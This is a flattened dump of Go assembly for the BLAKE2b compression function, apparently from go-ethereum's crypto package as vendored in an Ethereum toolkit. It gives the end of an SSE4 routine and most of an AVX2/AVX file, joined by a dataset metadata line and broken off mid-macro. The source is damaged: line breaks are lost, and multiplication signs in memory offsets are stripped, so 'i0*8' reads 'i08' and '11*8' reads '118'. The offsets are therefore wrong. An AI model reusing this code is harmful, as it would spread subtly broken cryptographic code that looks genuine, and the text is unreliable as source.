MOVO v2, t1; \ PUNPCKLQDQ v2, t2; \ PUNPCKHQDQ v3, v2; \ PUNPCKHQDQ t2, v2; \ PUNPCKLQDQ v3, t2; \ MOVO t1, v3; \ MOVO v6, t1; \ PUNPCKHQDQ t2, v3; \ PUNPCKLQDQ v7, t2; \ PUNPCKHQDQ t2, v6; \ PUNPCKLQDQ t1, t2; \ PUNPCKHQDQ t2, v7 #define HALF_ROUND(v0, v1, v2, v3, v4, v5, v6, v7, m0, m1, m2, m3, t0, c40, c48) \ PADDQ m0, v0; \ PADDQ m1, v1; \ PADDQ v2, v0; \ PADDQ v3, v1; \ PXOR v0, v6; \ PXOR v1, v7; \ PSHUFD $0xB1, v6, v6; \ PSHUFD $0xB1, v7, v7; \ PADDQ v6, v4; \ PADDQ v7, v5; \ PXOR v4, v2; \ PXOR v5, v3; \ PSHUFB c40, v2; \ PSHUFB c40, v3; \ PADDQ m2, v0; \ PADDQ m3, v1; \ PADDQ v2, v0; \ PADDQ v3, v1; \ PXOR v0, v6; \ PXOR v1, v7; \ PSHUFB c48, v6; \ PSHUFB c48, v7; \ PADDQ v6, v4; \ PADDQ v7, v5; \ PXOR v4, v2; \ PXOR v5, v3; \ MOVOU v2, t0; \ PADDQ v2, t0; \ PSRLQ $63, v2; \ PXOR t0, v2; \ MOVOU v3, t0; \ PADDQ v3, t0; \ PSRLQ $63, v3; \ PXOR t0, v3 #define LOAD_MSG(m0, m1, m2, m3, i0, i1, i2, i3, i4, i5, i6, i7) \ MOVQ i08(SI), m0; \ PINSRQ $1, i18(SI), m0; \ MOVQ i28(SI), m1; \ PINSRQ $1, i38(SI), m1; \ MOVQ i48(SI), m2; \ PINSRQ $1, i58(SI), m2; \ MOVQ i68(SI), m3; \ PINSRQ $1, i78(SI), m3 // func fSSE4(h [8]uint64, m [16]uint64, c0, c1 uint64, flag uint64, rounds uint64) TEXT ·fSSE4(SB), 4, $24-48 // frame size = 8 + 16 byte alignment MOVQ h+0(FP), AX MOVQ m+8(FP), SI MOVQ c0+16(FP), R8 MOVQ c1+24(FP), R9 MOVQ flag+32(FP), CX MOVQ rounds+40(FP), BX MOVQ SP, BP MOVQ SP, R10 ADDQ $15, R10 ANDQ $~15, R10 MOVQ R10, SP MOVOU ·iv3<>(SB), X0 MOVO X0, 0(SP) XORQ CX, 0(SP) // 0(SP) = ·iv3 ^ (CX \|\| 0) MOVOU ·c40<>(SB), X13 MOVOU ·c48<>(SB), X14 MOVOU 0(AX), X12 MOVOU 16(AX), X15 MOVQ R8, X8 PINSRQ $1, R9, X8 MOVO X12, X0 MOVO X15, X1 MOVOU 32(AX), X2 MOVOU 48(AX), X3 MOVOU ·iv0<>(SB), X4 MOVOU ·iv1<>(SB), X5 MOVOU ·iv2<>(SB), X6 PXOR X8, X6 MOVO 0(SP), X7 loop: SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 0, 2, 4, 6, 1, 3, 5, 7) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 8, 10, 12, 14, 9, 11, 13, 15) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 14, 4, 9, 13, 10, 8, 15, 6) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 1, 0, 11, 5, 12, 2, 7, 3) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 11, 12, 5, 15, 8, 0, 2, 13) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 10, 3, 7, 9, 14, 6, 1, 4) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 7, 3, 13, 11, 9, 1, 12, 14) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 2, 5, 4, 15, 6, 10, 0, 8) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 9, 5, 2, 10, 0, 7, 4, 15) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 14, 11, 6, 3, 1, 12, 8, 13) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 2, 6, 0, 8, 12, 10, 11, 3) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 4, 7, 15, 1, 13, 5, 14, 9) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 12, 1, 14, 4, 5, 15, 13, 10) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 0, 6, 9, 8, 7, 3, 2, 11) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 13, 7, 12, 3, 11, 14, 1, 9) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 5, 15, 8, 2, 0, 4, 6, 10) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 6, 14, 11, 0, 15, 9, 3, 8) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 12, 13, 1, 10, 2, 7, 4, 5) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 10, 8, 7, 1, 2, 4, 6, 5) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 15, 9, 3, 13, 11, 14, 12, 0) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) JMP loop done: MOVOU 32(AX), X10 MOVOU 48(AX), X11 PXOR X0, X12 PXOR X1, X15 PXOR X2, X10 PXOR X3, X11 PXOR X4, X12 PXOR X5, X15 PXOR X6, X10 PXOR X7, X11 MOVOU X10, 32(AX) MOVOU X11, 48(AX) MOVOU X12, 0(AX) MOVOU X15, 16(AX) MOVQ BP, SP RET
0xsequence/ethkit	23,301	go-ethereum/crypto/blake2b/blake2bAVX2_amd64.s	// Copyright 2016 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build go1.7,amd64,!gccgo,!appengine #include "textflag.h" DATA ·AVX2_iv0<>+0x00(SB)/8, $0x6a09e667f3bcc908 DATA ·AVX2_iv0<>+0x08(SB)/8, $0xbb67ae8584caa73b DATA ·AVX2_iv0<>+0x10(SB)/8, $0x3c6ef372fe94f82b DATA ·AVX2_iv0<>+0x18(SB)/8, $0xa54ff53a5f1d36f1 GLOBL ·AVX2_iv0<>(SB), (NOPTR+RODATA), $32 DATA ·AVX2_iv1<>+0x00(SB)/8, $0x510e527fade682d1 DATA ·AVX2_iv1<>+0x08(SB)/8, $0x9b05688c2b3e6c1f DATA ·AVX2_iv1<>+0x10(SB)/8, $0x1f83d9abfb41bd6b DATA ·AVX2_iv1<>+0x18(SB)/8, $0x5be0cd19137e2179 GLOBL ·AVX2_iv1<>(SB), (NOPTR+RODATA), $32 DATA ·AVX2_c40<>+0x00(SB)/8, $0x0201000706050403 DATA ·AVX2_c40<>+0x08(SB)/8, $0x0a09080f0e0d0c0b DATA ·AVX2_c40<>+0x10(SB)/8, $0x0201000706050403 DATA ·AVX2_c40<>+0x18(SB)/8, $0x0a09080f0e0d0c0b GLOBL ·AVX2_c40<>(SB), (NOPTR+RODATA), $32 DATA ·AVX2_c48<>+0x00(SB)/8, $0x0100070605040302 DATA ·AVX2_c48<>+0x08(SB)/8, $0x09080f0e0d0c0b0a DATA ·AVX2_c48<>+0x10(SB)/8, $0x0100070605040302 DATA ·AVX2_c48<>+0x18(SB)/8, $0x09080f0e0d0c0b0a GLOBL ·AVX2_c48<>(SB), (NOPTR+RODATA), $32 DATA ·AVX_iv0<>+0x00(SB)/8, $0x6a09e667f3bcc908 DATA ·AVX_iv0<>+0x08(SB)/8, $0xbb67ae8584caa73b GLOBL ·AVX_iv0<>(SB), (NOPTR+RODATA), $16 DATA ·AVX_iv1<>+0x00(SB)/8, $0x3c6ef372fe94f82b DATA ·AVX_iv1<>+0x08(SB)/8, $0xa54ff53a5f1d36f1 GLOBL ·AVX_iv1<>(SB), (NOPTR+RODATA), $16 DATA ·AVX_iv2<>+0x00(SB)/8, $0x510e527fade682d1 DATA ·AVX_iv2<>+0x08(SB)/8, $0x9b05688c2b3e6c1f GLOBL ·AVX_iv2<>(SB), (NOPTR+RODATA), $16 DATA ·AVX_iv3<>+0x00(SB)/8, $0x1f83d9abfb41bd6b DATA ·AVX_iv3<>+0x08(SB)/8, $0x5be0cd19137e2179 GLOBL ·AVX_iv3<>(SB), (NOPTR+RODATA), $16 DATA ·AVX_c40<>+0x00(SB)/8, $0x0201000706050403 DATA ·AVX_c40<>+0x08(SB)/8, $0x0a09080f0e0d0c0b GLOBL ·AVX_c40<>(SB), (NOPTR+RODATA), $16 DATA ·AVX_c48<>+0x00(SB)/8, $0x0100070605040302 DATA ·AVX_c48<>+0x08(SB)/8, $0x09080f0e0d0c0b0a GLOBL ·AVX_c48<>(SB), (NOPTR+RODATA), $16 #define VPERMQ_0x39_Y1_Y1 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xc9; BYTE $0x39 #define VPERMQ_0x93_Y1_Y1 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xc9; BYTE $0x93 #define VPERMQ_0x4E_Y2_Y2 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xd2; BYTE $0x4e #define VPERMQ_0x93_Y3_Y3 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xdb; BYTE $0x93 #define VPERMQ_0x39_Y3_Y3 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xdb; BYTE $0x39 #define ROUND_AVX2(m0, m1, m2, m3, t, c40, c48) \ VPADDQ m0, Y0, Y0; \ VPADDQ Y1, Y0, Y0; \ VPXOR Y0, Y3, Y3; \ VPSHUFD $-79, Y3, Y3; \ VPADDQ Y3, Y2, Y2; \ VPXOR Y2, Y1, Y1; \ VPSHUFB c40, Y1, Y1; \ VPADDQ m1, Y0, Y0; \ VPADDQ Y1, Y0, Y0; \ VPXOR Y0, Y3, Y3; \ VPSHUFB c48, Y3, Y3; \ VPADDQ Y3, Y2, Y2; \ VPXOR Y2, Y1, Y1; \ VPADDQ Y1, Y1, t; \ VPSRLQ $63, Y1, Y1; \ VPXOR t, Y1, Y1; \ VPERMQ_0x39_Y1_Y1; \ VPERMQ_0x4E_Y2_Y2; \ VPERMQ_0x93_Y3_Y3; \ VPADDQ m2, Y0, Y0; \ VPADDQ Y1, Y0, Y0; \ VPXOR Y0, Y3, Y3; \ VPSHUFD $-79, Y3, Y3; \ VPADDQ Y3, Y2, Y2; \ VPXOR Y2, Y1, Y1; \ VPSHUFB c40, Y1, Y1; \ VPADDQ m3, Y0, Y0; \ VPADDQ Y1, Y0, Y0; \ VPXOR Y0, Y3, Y3; \ VPSHUFB c48, Y3, Y3; \ VPADDQ Y3, Y2, Y2; \ VPXOR Y2, Y1, Y1; \ VPADDQ Y1, Y1, t; \ VPSRLQ $63, Y1, Y1; \ VPXOR t, Y1, Y1; \ VPERMQ_0x39_Y3_Y3; \ VPERMQ_0x4E_Y2_Y2; \ VPERMQ_0x93_Y1_Y1 #define VMOVQ_SI_X11_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x1E #define VMOVQ_SI_X12_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x26 #define VMOVQ_SI_X13_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x2E #define VMOVQ_SI_X14_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x36 #define VMOVQ_SI_X15_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x3E #define VMOVQ_SI_X11(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x5E; BYTE $n #define VMOVQ_SI_X12(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x66; BYTE $n #define VMOVQ_SI_X13(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x6E; BYTE $n #define VMOVQ_SI_X14(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x76; BYTE $n #define VMOVQ_SI_X15(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x7E; BYTE $n #define VPINSRQ_1_SI_X11_0 BYTE $0xC4; BYTE $0x63; BYTE $0xA1; BYTE $0x22; BYTE $0x1E; BYTE $0x01 #define VPINSRQ_1_SI_X12_0 BYTE $0xC4; BYTE $0x63; BYTE $0x99; BYTE $0x22; BYTE $0x26; BYTE $0x01 #define VPINSRQ_1_SI_X13_0 BYTE $0xC4; BYTE $0x63; BYTE $0x91; BYTE $0x22; BYTE $0x2E; BYTE $0x01 #define VPINSRQ_1_SI_X14_0 BYTE $0xC4; BYTE $0x63; BYTE $0x89; BYTE $0x22; BYTE $0x36; BYTE $0x01 #define VPINSRQ_1_SI_X15_0 BYTE $0xC4; BYTE $0x63; BYTE $0x81; BYTE $0x22; BYTE $0x3E; BYTE $0x01 #define VPINSRQ_1_SI_X11(n) BYTE $0xC4; BYTE $0x63; BYTE $0xA1; BYTE $0x22; BYTE $0x5E; BYTE $n; BYTE $0x01 #define VPINSRQ_1_SI_X12(n) BYTE $0xC4; BYTE $0x63; BYTE $0x99; BYTE $0x22; BYTE $0x66; BYTE $n; BYTE $0x01 #define VPINSRQ_1_SI_X13(n) BYTE $0xC4; BYTE $0x63; BYTE $0x91; BYTE $0x22; BYTE $0x6E; BYTE $n; BYTE $0x01 #define VPINSRQ_1_SI_X14(n) BYTE $0xC4; BYTE $0x63; BYTE $0x89; BYTE $0x22; BYTE $0x76; BYTE $n; BYTE $0x01 #define VPINSRQ_1_SI_X15(n) BYTE $0xC4; BYTE $0x63; BYTE $0x81; BYTE $0x22; BYTE $0x7E; BYTE $n; BYTE $0x01 #define VMOVQ_R8_X15 BYTE $0xC4; BYTE $0x41; BYTE $0xF9; BYTE $0x6E; BYTE $0xF8 #define VPINSRQ_1_R9_X15 BYTE $0xC4; BYTE $0x43; BYTE $0x81; BYTE $0x22; BYTE $0xF9; BYTE $0x01 // load msg: Y12 = (i0, i1, i2, i3) // i0, i1, i2, i3 must not be 0 #define LOAD_MSG_AVX2_Y12(i0, i1, i2, i3) \ VMOVQ_SI_X12(i08); \ VMOVQ_SI_X11(i28); \ VPINSRQ_1_SI_X12(i18); \ VPINSRQ_1_SI_X11(i38); \ VINSERTI128 $1, X11, Y12, Y12 // load msg: Y13 = (i0, i1, i2, i3) // i0, i1, i2, i3 must not be 0 #define LOAD_MSG_AVX2_Y13(i0, i1, i2, i3) \ VMOVQ_SI_X13(i08); \ VMOVQ_SI_X11(i28); \ VPINSRQ_1_SI_X13(i18); \ VPINSRQ_1_SI_X11(i38); \ VINSERTI128 $1, X11, Y13, Y13 // load msg: Y14 = (i0, i1, i2, i3) // i0, i1, i2, i3 must not be 0 #define LOAD_MSG_AVX2_Y14(i0, i1, i2, i3) \ VMOVQ_SI_X14(i08); \ VMOVQ_SI_X11(i28); \ VPINSRQ_1_SI_X14(i18); \ VPINSRQ_1_SI_X11(i38); \ VINSERTI128 $1, X11, Y14, Y14 // load msg: Y15 = (i0, i1, i2, i3) // i0, i1, i2, i3 must not be 0 #define LOAD_MSG_AVX2_Y15(i0, i1, i2, i3) \ VMOVQ_SI_X15(i08); \ VMOVQ_SI_X11(i28); \ VPINSRQ_1_SI_X15(i18); \ VPINSRQ_1_SI_X11(i38); \ VINSERTI128 $1, X11, Y15, Y15 #define LOAD_MSG_AVX2_0_2_4_6_1_3_5_7_8_10_12_14_9_11_13_15() \ VMOVQ_SI_X12_0; \ VMOVQ_SI_X11(48); \ VPINSRQ_1_SI_X12(28); \ VPINSRQ_1_SI_X11(68); \ VINSERTI128 $1, X11, Y12, Y12; \ LOAD_MSG_AVX2_Y13(1, 3, 5, 7); \ LOAD_MSG_AVX2_Y14(8, 10, 12, 14); \ LOAD_MSG_AVX2_Y15(9, 11, 13, 15) #define LOAD_MSG_AVX2_14_4_9_13_10_8_15_6_1_0_11_5_12_2_7_3() \ LOAD_MSG_AVX2_Y12(14, 4, 9, 13); \ LOAD_MSG_AVX2_Y13(10, 8, 15, 6); \ VMOVQ_SI_X11(118); \ VPSHUFD $0x4E, 08(SI), X14; \ VPINSRQ_1_SI_X11(58); \ VINSERTI128 $1, X11, Y14, Y14; \ LOAD_MSG_AVX2_Y15(12, 2, 7, 3) #define LOAD_MSG_AVX2_11_12_5_15_8_0_2_13_10_3_7_9_14_6_1_4() \ VMOVQ_SI_X11(58); \ VMOVDQU 118(SI), X12; \ VPINSRQ_1_SI_X11(158); \ VINSERTI128 $1, X11, Y12, Y12; \ VMOVQ_SI_X13(88); \ VMOVQ_SI_X11(28); \ VPINSRQ_1_SI_X13_0; \ VPINSRQ_1_SI_X11(138); \ VINSERTI128 $1, X11, Y13, Y13; \ LOAD_MSG_AVX2_Y14(10, 3, 7, 9); \ LOAD_MSG_AVX2_Y15(14, 6, 1, 4) #define LOAD_MSG_AVX2_7_3_13_11_9_1_12_14_2_5_4_15_6_10_0_8() \ LOAD_MSG_AVX2_Y12(7, 3, 13, 11); \ LOAD_MSG_AVX2_Y13(9, 1, 12, 14); \ LOAD_MSG_AVX2_Y14(2, 5, 4, 15); \ VMOVQ_SI_X15(68); \ VMOVQ_SI_X11_0; \ VPINSRQ_1_SI_X15(108); \ VPINSRQ_1_SI_X11(88); \ VINSERTI128 $1, X11, Y15, Y15 #define LOAD_MSG_AVX2_9_5_2_10_0_7_4_15_14_11_6_3_1_12_8_13() \ LOAD_MSG_AVX2_Y12(9, 5, 2, 10); \ VMOVQ_SI_X13_0; \ VMOVQ_SI_X11(48); \ VPINSRQ_1_SI_X13(78); \ VPINSRQ_1_SI_X11(158); \ VINSERTI128 $1, X11, Y13, Y13; \ LOAD_MSG_AVX2_Y14(14, 11, 6, 3); \ LOAD_MSG_AVX2_Y15(1, 12, 8, 13) #define LOAD_MSG_AVX2_2_6_0_8_12_10_11_3_4_7_15_1_13_5_14_9() \ VMOVQ_SI_X12(28); \ VMOVQ_SI_X11_0; \ VPINSRQ_1_SI_X12(68); \ VPINSRQ_1_SI_X11(88); \ VINSERTI128 $1, X11, Y12, Y12; \ LOAD_MSG_AVX2_Y13(12, 10, 11, 3); \ LOAD_MSG_AVX2_Y14(4, 7, 15, 1); \ LOAD_MSG_AVX2_Y15(13, 5, 14, 9) #define LOAD_MSG_AVX2_12_1_14_4_5_15_13_10_0_6_9_8_7_3_2_11() \ LOAD_MSG_AVX2_Y12(12, 1, 14, 4); \ LOAD_MSG_AVX2_Y13(5, 15, 13, 10); \ VMOVQ_SI_X14_0; \ VPSHUFD $0x4E, 88(SI), X11; \ VPINSRQ_1_SI_X14(68); \ VINSERTI128 $1, X11, Y14, Y14; \ LOAD_MSG_AVX2_Y15(7, 3, 2, 11) #define LOAD_MSG_AVX2_13_7_12_3_11_14_1_9_5_15_8_2_0_4_6_10() \ LOAD_MSG_AVX2_Y12(13, 7, 12, 3); \ LOAD_MSG_AVX2_Y13(11, 14, 1, 9); \ LOAD_MSG_AVX2_Y14(5, 15, 8, 2); \ VMOVQ_SI_X15_0; \ VMOVQ_SI_X11(68); \ VPINSRQ_1_SI_X15(48); \ VPINSRQ_1_SI_X11(108); \ VINSERTI128 $1, X11, Y15, Y15 #define LOAD_MSG_AVX2_6_14_11_0_15_9_3_8_12_13_1_10_2_7_4_5() \ VMOVQ_SI_X12(68); \ VMOVQ_SI_X11(118); \ VPINSRQ_1_SI_X12(148); \ VPINSRQ_1_SI_X11_0; \ VINSERTI128 $1, X11, Y12, Y12; \ LOAD_MSG_AVX2_Y13(15, 9, 3, 8); \ VMOVQ_SI_X11(18); \ VMOVDQU 128(SI), X14; \ VPINSRQ_1_SI_X11(108); \ VINSERTI128 $1, X11, Y14, Y14; \ VMOVQ_SI_X15(28); \ VMOVDQU 48(SI), X11; \ VPINSRQ_1_SI_X15(78); \ VINSERTI128 $1, X11, Y15, Y15 #define LOAD_MSG_AVX2_10_8_7_1_2_4_6_5_15_9_3_13_11_14_12_0() \ LOAD_MSG_AVX2_Y12(10, 8, 7, 1); \ VMOVQ_SI_X13(28); \ VPSHUFD $0x4E, 58(SI), X11; \ VPINSRQ_1_SI_X13(48); \ VINSERTI128 $1, X11, Y13, Y13; \ LOAD_MSG_AVX2_Y14(15, 9, 3, 13); \ VMOVQ_SI_X15(118); \ VMOVQ_SI_X11(128); \ VPINSRQ_1_SI_X15(148); \ VPINSRQ_1_SI_X11_0; \ VINSERTI128 $1, X11, Y15, Y15 // func fAVX2(h [8]uint64, m [16]uint64, c0, c1 uint64, flag uint64, rounds uint64) TEXT ·fAVX2(SB), 4, $64-48 // frame size = 32 + 32 byte alignment MOVQ h+0(FP), AX MOVQ m+8(FP), SI MOVQ c0+16(FP), R8 MOVQ c1+24(FP), R9 MOVQ flag+32(FP), CX MOVQ rounds+40(FP), BX MOVQ SP, DX MOVQ SP, R10 ADDQ $31, R10 ANDQ $~31, R10 MOVQ R10, SP MOVQ CX, 16(SP) XORQ CX, CX MOVQ CX, 24(SP) VMOVDQU ·AVX2_c40<>(SB), Y4 VMOVDQU ·AVX2_c48<>(SB), Y5 VMOVDQU 0(AX), Y8 VMOVDQU 32(AX), Y9 VMOVDQU ·AVX2_iv0<>(SB), Y6 VMOVDQU ·AVX2_iv1<>(SB), Y7 MOVQ R8, 0(SP) MOVQ R9, 8(SP) VMOVDQA Y8, Y0 VMOVDQA Y9, Y1 VMOVDQA Y6, Y2 VPXOR 0(SP), Y7, Y3 loop: SUBQ $1, BX; JCS done LOAD_MSG_AVX2_0_2_4_6_1_3_5_7_8_10_12_14_9_11_13_15() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_14_4_9_13_10_8_15_6_1_0_11_5_12_2_7_3() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_11_12_5_15_8_0_2_13_10_3_7_9_14_6_1_4() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_7_3_13_11_9_1_12_14_2_5_4_15_6_10_0_8() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_9_5_2_10_0_7_4_15_14_11_6_3_1_12_8_13() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_2_6_0_8_12_10_11_3_4_7_15_1_13_5_14_9() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_12_1_14_4_5_15_13_10_0_6_9_8_7_3_2_11() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_13_7_12_3_11_14_1_9_5_15_8_2_0_4_6_10() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_6_14_11_0_15_9_3_8_12_13_1_10_2_7_4_5() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) SUBQ $1, BX; JCS done LOAD_MSG_AVX2_10_8_7_1_2_4_6_5_15_9_3_13_11_14_12_0() ROUND_AVX2(Y12, Y13, Y14, Y15, Y10, Y4, Y5) JMP loop done: VPXOR Y0, Y8, Y8 VPXOR Y1, Y9, Y9 VPXOR Y2, Y8, Y8 VPXOR Y3, Y9, Y9 VMOVDQU Y8, 0(AX) VMOVDQU Y9, 32(AX) VZEROUPPER MOVQ DX, SP RET #define VPUNPCKLQDQ_X2_X2_X15 BYTE $0xC5; BYTE $0x69; BYTE $0x6C; BYTE $0xFA #define VPUNPCKLQDQ_X3_X3_X15 BYTE $0xC5; BYTE $0x61; BYTE $0x6C; BYTE $0xFB #define VPUNPCKLQDQ_X7_X7_X15 BYTE $0xC5; BYTE $0x41; BYTE $0x6C; BYTE $0xFF #define VPUNPCKLQDQ_X13_X13_X15 BYTE $0xC4; BYTE $0x41; BYTE $0x11; BYTE $0x6C; BYTE $0xFD #define VPUNPCKLQDQ_X14_X14_X15 BYTE $0xC4; BYTE $0x41; BYTE $0x09; BYTE $0x6C; BYTE $0xFE #define VPUNPCKHQDQ_X15_X2_X2 BYTE $0xC4; BYTE $0xC1; BYTE $0x69; BYTE $0x6D; BYTE $0xD7 #define VPUNPCKHQDQ_X15_X3_X3 BYTE $0xC4; BYTE $0xC1; BYTE $0x61; BYTE $0x6D; BYTE $0xDF #define VPUNPCKHQDQ_X15_X6_X6 BYTE $0xC4; BYTE $0xC1; BYTE $0x49; BYTE $0x6D; BYTE $0xF7 #define VPUNPCKHQDQ_X15_X7_X7 BYTE $0xC4; BYTE $0xC1; BYTE $0x41; BYTE $0x6D; BYTE $0xFF #define VPUNPCKHQDQ_X15_X3_X2 BYTE $0xC4; BYTE $0xC1; BYTE $0x61; BYTE $0x6D; BYTE $0xD7 #define VPUNPCKHQDQ_X15_X7_X6 BYTE $0xC4; BYTE $0xC1; BYTE $0x41; BYTE $0x6D; BYTE $0xF7 #define VPUNPCKHQDQ_X15_X13_X3 BYTE $0xC4; BYTE $0xC1; BYTE $0x11; BYTE $0x6D; BYTE $0xDF #define VPUNPCKHQDQ_X15_X13_X7 BYTE $0xC4; BYTE $0xC1; BYTE $0x11; BYTE $0x6D; BYTE $0xFF #define SHUFFLE_AVX() \ VMOVDQA X6, X13; \ VMOVDQA X2, X14; \ VMOVDQA X4, X6; \ VPUNPCKLQDQ_X13_X13_X15; \ VMOVDQA X5, X4; \ VMOVDQA X6, X5; \ VPUNPCKHQDQ_X15_X7_X6; \ VPUNPCKLQDQ_X7_X7_X15; \ VPUNPCKHQDQ_X15_X13_X7; \ VPUNPCKLQDQ_X3_X3_X15; \ VPUNPCKHQDQ_X15_X2_X2; \ VPUNPCKLQDQ_X14_X14_X15; \ VPUNPCKHQDQ_X15_X3_X3; \ #define SHUFFLE_AVX_INV() \ VMOVDQA X2, X13; \ VMOVDQA X4, X14; \ VPUNPCKLQDQ_X2_X2_X15; \ VMOVDQA X5, X4; \ VPUNPCKHQDQ_X15_X3_X2; \ VMOVDQA X14, X5; \ VPUNPCKLQDQ_X3_X3_X15; \ VMOVDQA X6, X14; \ VPUNPCKHQDQ_X15_X13_X3; \ VPUNPCKLQDQ_X7_X7_X15; \ 